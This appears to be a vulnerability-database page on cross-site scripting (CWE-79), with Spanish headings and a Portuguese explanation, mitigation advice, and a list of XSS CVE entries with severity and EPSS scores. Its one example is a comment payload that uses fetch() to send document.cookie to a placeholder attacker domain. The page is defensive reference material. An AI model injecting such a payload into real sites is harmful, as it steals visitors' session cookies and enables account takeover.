Fallos del tipo CWE-79

29.498 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2023-29016MEDIUMGoobi viewer Core has Cross-Site Scripting Vulnerability in User NicknamesEPSS 0.4%CVE-2024-25436MEDIUMA cross-site scripting (XSS) vulnerability in the Production module of Pkp Ojs v3.3 allows attackers to execute arbitrary web scripts or HTMEPSS 0.4%CVE-2023-34172MEDIUMWordPress WordPress Social Login Plugin <= 3.0.4 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2024-43381MEDIUMreNgine vulnerable to Stored Cross-Site Scripting (XSS) via DNS Record PoisoningEPSS 0.4%CVE-2023-24401MEDIUMWordPress Mobile Call Now & Map Buttons Plugin <= 1.5.0 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2024-12500MEDIUMPhilantro – Donations and Donor Management <= 5.2 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.4%CVE-2024-34418MEDIUMWordPress WPCS ( WordPress Custom Search ) plugin <= 1.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2026-42197HIGHRELATE Vulnerable to Stored XSS via Unprivileged User ProfileEPSS 0.4%CVE-2024-21729MEDIUM[20240701] - Core - XSS in accessible media selection fieldEPSS 0.4%CVE-2024-35170MEDIUMWordPress Sticky banner plugin <= 1.2.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-34419MEDIUMWordPress Configure Login Timeout plugin <= 1.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2023-1025MEDIUMSimple File List < 6.0.10 - Admin+ Stored XSSEPSS 0.4%CVE-2024-13506MEDIUMGeoDirectory – WP Business Directory Plugin and Classified Listings Directory <= 2.8.97 - Authenticated (Subscriber+) Stored Cross-Site Scripting via Display_name ParameterEPSS 0.4%CVE-2022-41266HIGHDue to a lack of proper input validation, SAP Commerce Webservices 2.0 (Swagger UI) - versions 1905, 2005, 2105, 2011, 2205, allows maliciouEPSS 0.4%CVE-2023-32294MEDIUMWordPress GDPR Cookie Consent Notice Box Plugin <= 1.1.6 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2024-21731MEDIUM[20240703] - Core - XSS in StringHelper::truncate methodEPSS 0.4%CVE-2023-36389HIGHA vulnerability has been identified in RUGGEDCOM ROX MX5000 (All versions < V2.16.0), RUGGEDCOM ROX MX5000RE (All versions < V2.16.0), RUGGEEPSS 0.4%CVE-2024-36210MEDIUMAdobe Experience Manager | Cross-site Scripting (Reflected XSS) (CWE-79)EPSS 0.4%CVE-2023-0844—Namaste! LMS < 2.6 - Admin+ Stored XSSEPSS 0.4%CVE-2024-34417MEDIUMWordPress Viet Nam Affiliate plugin <= 1.0.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%